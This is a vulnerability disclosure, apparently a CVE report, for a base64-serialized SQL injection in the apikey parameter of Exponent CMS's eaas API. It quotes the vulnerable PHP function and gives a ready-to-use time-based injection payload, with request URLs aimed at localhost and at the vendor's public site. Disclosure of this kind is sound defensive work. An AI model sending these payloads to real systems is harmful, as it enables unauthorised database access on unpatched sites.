CVE-2017-7991-SQL injection-Exponent CMS

[Suggested description]
Exponent CMS 2.4.1 and earlier has SQL injection  via a base64
serialized API key (apikey parameter) in the api function  of
framework/modules/eaas/controllers/eaasController.php.
 
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[Additional  Information]
Vulnerable file is:  /framework/modules/eaas/controllers/eaasController.php
Vulnerable  function is api.

public function api() {
        if  (empty($this->params['apikey'])) {
            $_REQUEST['apikey'] =  true;  // set this to force an ajax reply
            $ar = new  expAjaxReply(550, 'Permission Denied', 'You need an API key in order to access  Exponent as a Service', null);
            $ar->send();  //FIXME this  doesn't seem to work correctly in this scenario
        } else  {
            echo $this->params['apikey'];
            $key  =  expUnserialize(base64_decode(urldecode($this->params['apikey'])));
             echo $key;
            
            $cfg = new  expConfig($key);
            $this->config =  $cfg->config;
            if(empty($cfg->id))  {
                $ar = new expAjaxReply(550, 'Permission Denied',  'Incorrect API key or Exponent as a Service module configuration missing',  null);
                $ar->send();
            } else  {
                if (!empty($this->params['get']))  {
                    $this->handleRequest();
                 } else {
                    $ar = new expAjaxReply(200, 'ok', 'Your API  key is working, no data requested', null);
                     $ar->send();
                }
            }
         }
    }

We can control param $apikey by using  base64_encode and serialize
functions to encrypt the SQL injection  string. Then, the $apikey will
be decrypted and cause SQL injection.  Such as, if we want to use
"aaa\'or sleep(2)#" to inject, we should use  "echo
base64_encode(serialize($apikey));" to encrypt the Attack  string:
czoxNjoiYWFhJ29yIHNsZWVwKDIpIyI7 is the result. So,
http://localhost:88/exponent/index.php?module=eaas&action=api&apikey=czoxNjoiYWFhJ29yIHNsZWVwKDIpIyI7
 is the PoC. The result is: the site will sleep several seconds, and
you  can see SQL injection is successful in MySQL logs.

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[Vulnerability  Type]
SQL Injection

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[Vendor of  Product]
Exponent CMS

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[Affected Product  Code Base]
Exponent CMS - 2.4.1 and earlier

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[Affected  Component]
 \framework\modules\eaas\controllers\eaasController.php,function api(),param  $apikey

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[Attack Type]
Remote

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[Impact Information  Disclosure]
true

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[Attack  Vectors]
http://localhost:88/exponent/index.php?module=eaas&action=api&apikey=czoxNjoiYWFhJ29yIHNsZWVwKDIpIyI7
 
http://www.exponentcms.org/index.php?module=eaas&action=api&apikey=czoxNjoiYWFhJ29yIHNsZWVwKDIpIyI7
 
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[Discoverer]
404notfound